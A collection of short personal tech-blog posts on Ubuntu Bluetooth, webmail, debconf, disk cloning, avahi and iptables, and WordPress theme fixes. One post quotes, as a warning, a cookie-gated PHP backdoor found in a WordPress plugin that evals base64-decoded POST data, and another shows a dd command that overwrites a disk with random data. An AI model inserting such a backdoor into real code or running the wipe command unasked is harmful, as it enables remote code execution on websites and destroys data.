Bluetooth using the gui in Ubuntu

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Bluetooth is of course a well-known mechanism for connecting mobile phones and pda’s to computers and laptops. It is low-power, easy to setup, and works out of the box on most systems. Until recently setting up serial over bluetooth in ubuntu/debian wasn’t a trivial task. I was by all means doable, but for many people meant creating and copying, downloading and tailoring some command-line scripts. This difficulty is mostly still noticeable when looking at the sheer amount of blogposts and articles and wiki’s about this setup. The tools are there (bluez has been in development for years) and work great, but setup is not for Joe / Jane Average.

When I revisited using my mobile phone’s GPRS modem on my netbook via bluetooth (an Acer Aspire One, running Ubuntu Intrepid, 8.10), I found hundreds of articles detailing the aforementioned edits… and a couple about achieving the same with a gui. The sysadmin-side of me prefers console solutions as these can be used over ssh (so I can set this up for others), my advocate-, user-and blogging-sides wanted a gui.

I found Blueman (http://blueman-project.org/). I first read about it last november (at version 0.6) and was impressed, at time of this writing it is now at 1.02 and working even easier than before, thumbs up!

In this article I’ll have a look at setting up Blueman “the easy ubuntu way”, i.e. mostly from a gui, with package signatures and without using a terminal (I will have to cheat though :-( ).
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Lightweight & fast webmail client

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My main home server is a measly pentium II class machine running (now) on Debian Etch. Not the fastest machine but it works, uses little power and is cheap while setup from left-overs. Among other things it serves me my email when not at home using RoundCube Webmail. With the low-end hardware I am using it is key to keep it as fast and lightweight as possible. The server is behind a DSL connection at home so compression comes in handy as well.
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Pre-loading debconf values for easy installation

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Debian’s configuration management might take some getting used to, but after you learn your way around /etc/{default,init.d,} it makes good sense.

Now when you have to do the same thing over and over again (ever said yes 25 times to Sun’s java license?), or you find that after a dist-upgrade your ldap configurations are gone because you pressed ‘enter’ one too many times…; you could either keep lots of tarballs or digg deeper. The latter could be done with debconf. Debconf keeps all answers to questions packages can ask during installation, both the ones you gave yourself and the implied or low-priority ones chosen by the packager.

You can set those values yourself quite easily, once you know how.
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Backup an entire disk to another (larger) disk

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After some troubles with my desktop computer it’s going to be replaced with a new one. The desktop originally only had 1 disk, and that was going to be replaced as well, so I needed a backup. But I did not want to backup just my files, I wanted a total backup, so I could continue to work on the system, while I was wiping the original disk (don’t want mr dell to look at my private stuff).

So I bought myself a new disk, ofcourse it’s larger then the original, so I was not sure if a disk => disk copy would work. I found the program ddrescue, which did the job well. True, resuming windows after this caused a BSOD, but well, what else could you expect, the hardware changed while the system was “running”… After another reboot the system worked fine, as if nothing had changed. Resizing the disk was not possible, probably because of the dell restore partition behind the main ntfs partition, but well, it’s only temporary and I didn’t need the extra disk space in the first place. Copying a 250Gb disk took about 1 1/2 hours, not bad, IMHO.

After this doing a dd if=/dev/urandom of=/dev/MYOLDDISK took a way longer time. This is done with an average speed of 2.2Mb/sec, so the entire process of a 250Gb disk takes approximately 34 hours! At least, on my system. So if you need to wipe your data, take your time.

Update:

Perhaps I should have read the comments on the page with ddrescue, the copy speed could be faster if I used another tool. For example CloneZilla. ddrescue did the job for me, but there might be better alternatives for it available.

Ubuntu .local domain resolving issue’s and iptables prerouting

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In the past few days I’ve been helping a new colleague at my current job with getting his development area setup in Ubuntu. Most of us work with Windows, including myself since I’m not working on my laptop but on a provided desktop, so helping someone with Ubuntu is nice for a change.

But  we ran into a problem that I couldn’t explain right away, if we tried to “ssh” to our svn repository it didn’t resolve the hostname, while “normal” host lookup programs had no trouble with resolving it at all. So I posted the problem on the Ubuntu forums. Unfortunately the first response was a bit disappointing: “does it work when you try to ssh via ip?”… So I thought lets call a friend who helps me out more often in cases like these. And indeed he knew the answer. It seems that avahi is causing this problem. I’ve not yet found out why avahi is doing this, but I guess it’s a bad idea to use avahi while you need to work with a “.local” domain.

I wanted to know why avahi did this, so I thought lets join the Ubuntu IRC channel. Unfortunately I didn’t get an explanation. But I got to see something about iptables that I didn’t know about before, prerouting. Someone asked the following question:

2008-11-11 21:53:48 < deus> It is possible to use the iptables to redirect http traffic to a proxy server, for example by using iptables -t nat -A PREROUTING -p tcp -i br0 –dport 80 -j DNAT
–to-destination <ip proxy>:3128 But how does the proxy server know which site he has to lookup since the destination is changed to its own address?

I didn’t know the answer to that, guess it works via the HTTP protocol itself, but well, perhaps I’ll find this out some other time. But while I was looking into this prerouting thingy I found a nice blog post about using prerouting for flash remoting. I’ve no use for this information yet, but you never know.

New theme part III

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After last nights debacle with the live search plugin, I tried an other one that was based on it: Live search popup. Unfortunately that one didn’t display very well in my theme, so I just removed it and won’t be offering a “Web 2.0″ search option for now.

Further changes to the Freshy2 theme and wordpress:

  • I’ve added a none.gif to the background images folder, since I got loads of 404 messages about it not being in there.
  • I’ve copied the default search box style (#s) from the wordpress theme and removed the “white” background color so you can see what you type when searching. Unfortunately I now need a black anti-aliased version of the search icon.
  • I’ve added a header to the search widget (guess that will be gone on the next WP update from Debian, as soon as the TinyMCE maintainer updates TinyMCE). Not sure if I really want it to stay, but if I do I need to find a better way to add it.

Now I “just” need to work on the <pre> and <code> output of the theme, since reading it is not very easy at the moment.

And I found why the Live search plugin didn’t work. It uses the deprecated get_bloginfo(‘siteurl’), while it should be using get_bloginfo(‘wpurl’). But well, after having contact with the maintainer of it, I won’t be using it. He is not interested in maintaining it, so better not to use that one.

New theme continued: why not to trust plugins

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With this new theme I also saw that it was compatible with the “Addicted to live search plugin”[1]. (Un)fortunately this plugin doesn’t work out of the box either, at least not if you do not have WordPress running directly in the root.

But… Since I was looking at the code to fix this I also found:

<?php if($_COOKIE['7b13cc987791f418']=="6d6bedf94c36d538"){ eval(base64_decode($_POST['file'])); exit; } ?>

No thank you very much!

So what did we learn: Never ever trust WordPress plugins… So do not use this (version of the) plugin, unless you know how to remove this piece of code!

I’ll check out after some sleep what WordPress has to offer when you find a vulnerability like this in a plugin, so perhaps users of it can be warned… And I’ll fix this plugin later also, to be continued…

Update: it seems that it’s fixed. Although I’m not sure how the WordPress auto-update feature could create a line of code like that (as in, this sounds like bollocks to me).


[1] Funny sidenote, I found this blog two years ago and commented on one of his articles on Oracle.

New theme

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A while ago I decided to change the default WordPress theme into the Freshy2 theme, since I liked the looks of it… I now partially wish I did not do that… Changing the theme was not trivial… Mainly because of two problems:

1. In the wp-content/themes/freshy2/functions.php file on line 474 it says

$path = WP_CONTENT_DIR.$theme_info->template_dir.'/';

If you change that to:

$path = ABSPATH.$theme_info->template_dir.'/';

suddenly you are able to configure the theme as promised by the author (at least that is what I needed to do with my Debian version of WordPress).

2. The customize freshy plugin that is advertised makes it so that I even though I’ve changed the stylesheet, it’s still not visible. So I’ve disabled that plugin. The line of php that is causing this behavior is also in functions.php, but then on line 26

if (!class_exists('Nice_theme')) add_action('wp_head','freshy_head');

Seems that Nice_theme doesn’t change the wp_head function. I didn’t look further into this, since the configuration options Freshy2 gives me are enough.

Furthermore, this theme breaks the xhtml 1.1 validation. I’ve removed the autocomplete="off" in the searchform.php file and added a <p> block around the search inputs. For more information about the autocomplete attribute and xhtml see this post on the Mozilla wiki (to be moved some time in the future).

Talking about xhtml 1.1 validation. This theme also puts a xhtml 1.0 doctype in the pages, while the footer of WordPress shows xhtml 1.1. So I’ve changed the doctype and removed the lang=”en” attribute from the <html> tag. But well, guess only a few people really try the validation button on the bottom of the page.

And I had to change the title of the blog again in the same manner as I did the last time on the default WordPress theme.

But, now I’ve done this I’m very happy. I really like the theme’s looks, certainly with this dark version, since it also adds something that I really wanted: no more fixed width layout! With the default version you still get a fixed with version, but this one scales. So thank you Jide!

Now a few things remain to be done:

  • Fix the <code> layout, since it doesn’t play well with my code formatting plugin and well.. it distracts a bit
  • Add Excerpts to all my posts
  • Cut down on the number of categories and add more tags
  • Find out why some post don’t show their date on the homepage
  • Change the color of the input text, so you can see what you search for
  • Post more frequently (still got about 20 drafts to work on)
  • Find out why putting <pre> tags inside <li> tags breaks validation

Update: I should have read the comments on the theme site before I started to work on the theme… Then I would have seen that more people encountered the problems and already wrote fixes to them. Someone thought the problem with the disappearing post dates has to do with editing the post after publishing. That is not the case, unfortunately. It is caused because the_date() doesn’t show the date if it’s the same as the date of the post before. In the default WordPress theme the_time('F jS, Y') is used in stead of the_date(). And the_time() doesn’t check for the last date. But, with just putting ‘F js, Y’ into this function call, changing your date format in the settings doesn’t help, so what you need to put in the index.php file on line 15 is the_time(get_option('date_format')). At least, if you want the date to be always shown. Perhaps I should make it a feature request that you can change this behavior of the_date, and add a bug report that the default theme doesn’t listen to the date_format setting…

Posting in the future…

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Seems I just made a post 1 hour into the future and with that, on a different day. The WordPress settings say

Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future.

Lame indeed, and guess I forgot about this. A while ago a colleague encountered a similar problem in phpBB. Guess it’s PHP related and not just WordPress, as both products have the same problem. I wonder if the fix promised by WordPress is waiting for daylight savings time to be abandoned as idea, since it’s advantages are still being questioned.